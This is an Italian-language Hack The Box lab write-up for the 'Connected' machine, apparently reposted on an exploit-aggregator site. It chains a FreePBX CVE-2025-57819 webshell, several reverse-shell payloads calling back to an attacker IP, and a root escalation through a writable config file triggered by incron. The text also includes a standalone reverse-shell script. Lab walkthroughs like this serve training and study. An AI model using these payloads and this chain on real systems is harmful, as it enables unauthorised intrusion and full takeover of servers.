Sploitus

Exploit for htb-labs-connected

kitploit Β· 2026-08-28

Exploit Code

MARKDOWN440 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DIEGORIVAS1-HTB-LABS-CONNECTED
# HTB: Connected - Scelta dello Staff

English | EspaΓ±ol

## ![HTB](https://img.shields.io/badge/HTB-Connected-brightgreen) ![Difficulty](https://img.shields.io/badge/Difficulty-Easy-9cf) ![OS](https://img.shields.io/badge/OS-Linux-blue) ![Platform](https://img.shields.io/badge/Platform-Hack%20The%20Box-red)

## πŸ“‹ Indice

  1. Enumerazione
  2. Sfruttamento - CVE-2025-57819
  3. Reverse Shell
  4. Escalation dei Privilegi
  5. Flag
  6. Struttura del Repository
  7. Script e Strumenti Utilizzati
  8. Riepilogo dell'Attacco
  9. Risorse e Crediti
  10. Note Aggiuntive



* * *

## 1\. Enumerazione

### 1.1 Scansione delle Porte con Nmap

root@kitploit:~
    
    
    nmap -sV 10.129.81.130
    

**Risultati:**

root@kitploit:~
    
    
    PORT    STATE SERVICE   VERSION
    22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
    80/tcp  open  http      Apache httpd 2.4.6 (CentOS) PHP/7.4.16
    443/tcp open  ssl/https Apache/2.4.6 (CentOS) PHP/7.4.16
    

### 1.2 Aggiungere il Dominio a `/etc/hosts`

root@kitploit:~
    
    
    echo "10.129.81.130 connected.htb" >> /etc/hosts
    

### 1.3 Fuzzing delle Directory con Gobuster

root@kitploit:~
    
    
    gobuster dir -u http://connected.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
    

**Risultati chiave:**

  * `/admin` \- Pannello di amministrazione FreePBX
  * `/ucp` \- Pannello di controllo utente
  * `/robots.txt` \- File robots



* * *

## 2\. Sfruttamento - CVE-2025-57819

### 2.1 Scaricare l'Exploit

Clonare il repository di WatchTowr Labs:

root@kitploit:~
    
    
    git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819.git
    cd watchTowr-vs-FreePBX-CVE-2025-57819
    

### 2.2 Eseguire l'Exploit

root@kitploit:~
    
    
    python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
    

**Output previsto:**

root@kitploit:~
    
    
    [+] FreePBX CVE-2025-57819 Detection Artifact Generator started
    [+] Sending exploit request
    [+] Waiting 2 minutes for DAG script to be created
    [+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=hostname
    

### 2.3 Verificare la Webshell

root@kitploit:~
    
    
    curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=whoami"
    

**Risultato:**

root@kitploit:~
    
    
    asterisk
    

* * *

## 3\. Reverse Shell

### 3.1 Avviare un Listener su Kali

root@kitploit:~
    
    
    nc -lvnp 4444
    

### 3.2 Iniettare la Reverse Shell

Versione codificata:

root@kitploit:~
    
    
    curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.234%2F4444%200%3E%261%27"
    

> **Nota:** Sostituire `10.10.14.234` con il proprio IP VPN.

### 3.3 Alternative

#### Netcat

root@kitploit:~
    
    
    curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=nc%20-e%20/bin/bash%2010.10.14.234%204444"
    

#### Python

root@kitploit:~
    
    
    curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.234%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bsubprocess.call([%22/bin/bash%22%2C%22-i%22])%27"
    

### 3.4 Shell Ottenuta

root@kitploit:~
    
    
    listening on [any] 4444 ...
    connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 55944
    bash: no job control in this shell
    [asterisk@connected html]$
    

* * *

## 4\. Escalation dei Privilegi

### 4.1 Trovare File di Configurazione Scrivibili

root@kitploit:~
    
    
    find /etc -name "*.conf" -writable 2>/dev/null
    

**Risultato chiave:**

root@kitploit:~
    
    
    /etc/dahdi/init.conf
    

### 4.2 Controllare `incron.d`

root@kitploit:~
    
    
    cat /etc/incron.d/*
    

**Voce rilevante:**

root@kitploit:~
    
    
    /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
    

### 4.3 Aggiungere la Reverse Shell a `init.conf`

root@kitploit:~
    
    
    echo 'bash -c "bash -i >& /dev/tcp/10.10.14.234/4545 0>&1"' >> /etc/dahdi/init.conf
    

### 4.4 Avviare il Listener per la Shell di Root

root@kitploit:~
    
    
    nc -lvnp 4545
    

### 4.5 Attivare il Riavvio del Servizio

root@kitploit:~
    
    
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

### 4.6 Shell di Root Ottenuta

root@kitploit:~
    
    
    connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 45996
    bash: no job control in this shell
    [root@connected /]#
    

### 4.7 Verificare l'Accesso Root

root@kitploit:~
    
    
    whoami
    # root
    
    id
    # uid=0(root) gid=0(root) groups=0(root)
    

* * *

## 5\. Flag

### 5.1 Flag Utente

root@kitploit:~
    
    
    cat /home/asterisk/user.txt
    

root@kitploit:~
    
    
    HTB{...user_flag...}
    

### 5.2 Flag Root

root@kitploit:~
    
    
    cat /root/root.txt
    

root@kitploit:~
    
    
    HTB{...root_flag...}
    

> Le flag sono state volutamente omesse da questo repository.

* * *

## 6\. Struttura del Repository

root@kitploit:~
    
    
    htb-labs-connected/
    β”œβ”€β”€ README.md
    β”œβ”€β”€ README-ES.md
    β”œβ”€β”€ exploits/
    β”‚   β”œβ”€β”€ watchTowr-vs-FreePBX-CVE-2025-57819/
    β”‚   β”œβ”€β”€ CVE-2025-57819-exploit/
    β”‚   └── CVE-2025-57819-poc/
    β”œβ”€β”€ payloads/
    β”‚   └── reverse_shell.sh
    β”œβ”€β”€ scans/
    β”‚   β”œβ”€β”€ nmap_scan.txt
    β”‚   └── gobuster_results.txt
    β”œβ”€β”€ screenshots/
    └── flags/
    

* * *

## 7\. Script e Strumenti Utilizzati

### 7.1 Script Reverse Shell

**File:** `payloads/reverse_shell.sh`

root@kitploit:~
    
    
    #!/bin/bash
    
    # Reverse shell for HTB Connected
    # Usage: ./reverse_shell.sh 10.10.14.234 4444
    
    IP=$1
    PORT=$2
    
    if [ -z "$IP" ] || [ -z "$PORT" ]; then
        echo "Usage: $0 <IP> <PORT>"
        exit 1
    fi
    
    bash -c "bash -i >& /dev/tcp/$IP/$PORT 0>&1"
    

### 7.2 Comandi di Enumerazione

**File:** `scans/nmap_scan.txt`

root@kitploit:~
    
    
    # Full port scan
    nmap -sV -p- -T4 10.129.81.130
    
    # Service and default script scan
    nmap -sC -sV -p22,80,443 10.129.81.130
    

### 7.3 Comandi di Fuzzing

**File:** `scans/gobuster_results.txt`

root@kitploit:~
    
    
    # Directory fuzzing
    gobuster dir \
        -u http://connected.htb \
        -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
        -x php,txt,html
    
    # Fuzzing the admin directory
    gobuster dir \
        -u http://connected.htb/admin \
        -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
        -x php,txt,html,conf,ini,bak
    

* * *

## 8\. Riepilogo dell'Attacco

* * *

## 9\. Risorse e Crediti

  * **Writeup originale:** CyberSaif
  * **Exploit WatchTowr Labs:** GitHub
  * **CVE-2025-57819:** SentinelOne
  * **Advisory di Sicurezza FreePBX:** GitHub



* * *

## 10\. Note Aggiuntive

### 10.1 Se la Webshell Non Viene Creata

  * Attendere l'intero periodo di due minuti; l'exploit richiede tempo per creare l'artefatto.
  * Verificare la connettivitΓ :



root@kitploit:~
    
    
    curl -k https://connected.htb
    

### 10.2 Se il Listener Non Funziona

Controllare la propria interfaccia VPN:

root@kitploit:~
    
    
    ip addr show tun0
    

Provare un'altra porta di ascolto se necessario:

root@kitploit:~
    
    
    4445
    8080
    1234
    

### 10.3 File Chiave sul Target

  * `/etc/dahdi/init.conf` \- File di configurazione scrivibile utilizzato durante l'escalation dei privilegi
  * `/etc/incron.d/` \- Directory di configurazione di `incron`
  * `/var/spool/asterisk/sysadmin/dahdi_restart` \- Trigger utilizzato per eseguire l'azione di riavvio
  * `/var/www/html/` \- Directory root del server web



* * *

## 🏁 Conclusione

**Connected Γ¨ stato completato con successo. βœ…**

La catena di attacco dimostra come un'istanza FreePBX esposta possa portare all'accesso iniziale tramite **CVE-2025-57819** , seguito dall'escalation dei privilegi attraverso un file di configurazione scrivibile e un trigger basato su `incron`.